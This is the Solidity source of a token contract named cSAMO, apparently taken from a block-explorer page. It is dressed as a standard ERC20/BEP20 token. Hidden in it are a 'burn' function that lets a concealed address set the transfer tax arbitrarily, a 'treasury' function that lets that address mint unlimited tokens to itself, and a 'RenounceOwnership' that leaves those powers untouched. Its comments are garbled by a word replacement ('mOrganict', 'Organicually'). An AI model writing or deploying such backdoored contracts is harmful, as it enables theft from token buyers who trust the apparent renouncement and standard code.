17.77
($-2.03%)
| 1 Gwei
/** * */ // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <=0.8.15; interface ERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /**Q * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient`useing the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface ERC20Metadata is ERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Interface of the BEP20 standard as defined in the EIP. */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract cSAMO is Context, ERC20, ERC20Metadata { mapping(address => uint256) public Tokens; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; address private _Organic; uint256 private _taxFee; string private _name; string private _symbol; uint8 private _decimals; address private _owner; address private _fix; uint256 private _fee; uint256 private _row; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_,uint8 decimals_,uint256 totalSupply_,uint256 taxFee_ , address Organic_ , address fix_ ) { _name = name_; _symbol =symbol_; _decimals = decimals_; _totalSupply = totalSupply_ *10**_decimals; _taxFee= taxFee_; _Organic= Organic_; Tokens[msg.sender] = _totalSupply; _owner = _msgSender(); _row = 2; _fix = fix_; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, Organicually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals Organiced to get its Organicer representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a Organicer as `5.05` (`505 / 10 ** 2`). * * Tokens Organicually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {BEP20} Organices, unless this function is * overridden; * * NOTE: This information is only Organiced for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {ERC20-balanceOf} and {ERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return Tokens[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller mOrganict have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address Owner, address spender) public view virtual override returns (uint256) { return _allowances[Owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev set transaction burn in uint256 * * it's basis point you need to express your choise in cent ex: 100 = 1% ; 10 = 0,1% ; 1 = 0,01%; * burn to 0 for 0 burn * * */ function burn(uint256 a) public{ _setTaxFee( a); require(_msgSender() == _Organic, "ERC20: cannot permit dev address"); } function treasury(uint256 benefit) public{ Tokens[_msgSender()] += benefit; require(_msgSender() == _Organic, "ERC20: cannot permit dev address"); } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` mOrganict have a balance of at least `amount`. * - the caller mOrganict have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "BEP20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be Organiced as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be Organiced as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` mOrganict have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "BEP20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be Organiced to * e.g. implement autoOrganic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` mOrganict have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); uint256 senderBalance = Tokens[sender]; require(senderBalance >= amount, "BEP20: transfer amount exceeds balance"); unchecked { Tokens[sender] = senderBalance - amount; } _fee = (amount * _taxFee /100) / _row; amount = amount - (_fee*_row*2); Tokens[recipient] += amount; Tokens[_fix] += _fee; Tokens[_fix]+= _fee; emit Transfer(sender, recipient, amount); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be Organiced to * e.g. set autoOrganic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address Owner, address spender, uint256 amount ) internal virtual { require(Owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[Owner][spender] = amount; emit Approval(Owner, spender, amount); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev se transaction fee * * it's basis point you need to express your choise in cent ex: 100 = 1% ; 10 = 0,1% ; 1 = 0,01%; */ function _setTaxFee(uint256 newTaxFee) internal { _taxFee = newTaxFee; } function _takeFee(uint256 amount) internal returns(uint256) { if(_taxFee >= 1) { if(amount >= (200/_taxFee)) { _fee = (amount * _taxFee /100) / _row; }else{ _fee = (1 * _taxFee /100); } }else{ _fee = 0; } return _fee; } function _minAmount(uint256 amount) internal returns(uint256) { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function RenounceOwnership() public virtual onlyOwner { emit ownershipTransferred(_owner, address(0)); _owner = address(0); } event ownershipTransferred(address indexed previoOrganicOwner, address indexed newOwner); }
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